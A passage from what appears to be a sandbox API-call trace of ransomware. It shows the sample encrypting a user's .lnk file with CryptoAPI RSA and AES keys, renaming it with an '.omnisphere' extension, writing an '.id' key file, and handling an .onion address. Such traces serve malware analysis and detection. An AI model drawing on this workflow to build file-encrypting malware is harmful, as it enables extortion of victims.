Size=0x94) returned 0x167c348 [0119.611] PathCombineW (in: pszDest=0x167c348, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="AWZI9.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9.lnk" [0119.611] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\awzi9.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.611] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1235) returned 1 [0119.611] GetTickCount () returned 0x115de27 [0119.611] GetTickCount () returned 0x115de27 [0119.612] GetTickCount () returned 0x115de37 [0119.612] GetTickCount () returned 0x115de37 [0119.612] GetTickCount () returned 0x115de37 [0119.612] GetTickCount () returned 0x115de37 [0119.612] GetTickCount () returned 0x115de37 [0119.612] GetTickCount () returned 0x115de37 [0119.612] GetTickCount () returned 0x115de37 [0119.612] GetTickCount () returned 0x115de37 [0119.612] GetTickCount () returned 0x115de37 [0119.612] GetTickCount () returned 0x115de37 [0119.612] GetTickCount () returned 0x115de37 [0119.612] GetTickCount () returned 0x115de37 [0119.612] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] GetTickCount () returned 0x115de37 [0119.613] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0119.614] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0119.614] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.614] CryptDestroyKey (hKey=0x16394e8) returned 1 [0119.614] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0119.614] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d3, lpName=0x0) returned 0x288 [0119.614] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d3) returned 0x1480000 [0119.615] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0119.615] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0119.615] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.616] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.617] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.619] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.620] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.620] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0119.620] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4d3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.620] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.620] GetProcessHeap () returned 0x1600000 [0119.620] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a4) returned 0x16ae0e8 [0119.620] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\awzi9.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\awzi9.lnk.omnisphere")) returned 1 [0119.621] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9.lnk.omnisphere.id" [0119.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\awzi9.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.621] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.623] CloseHandle (hObject=0x3c0) returned 1 [0119.624] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.624] CloseHandle (hObject=0x288) returned 1 [0119.624] SetEndOfFile (hFile=0x28c) returned 1 [0119.624] FlushFileBuffers (hFile=0x28c) returned 1 [0119.631] CloseHandle (hObject=0x28c) returned 1 [0119.631] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.631] GetProcessHeap () returned 0x1600000 [0119.632] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16be2a0 [0119.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, 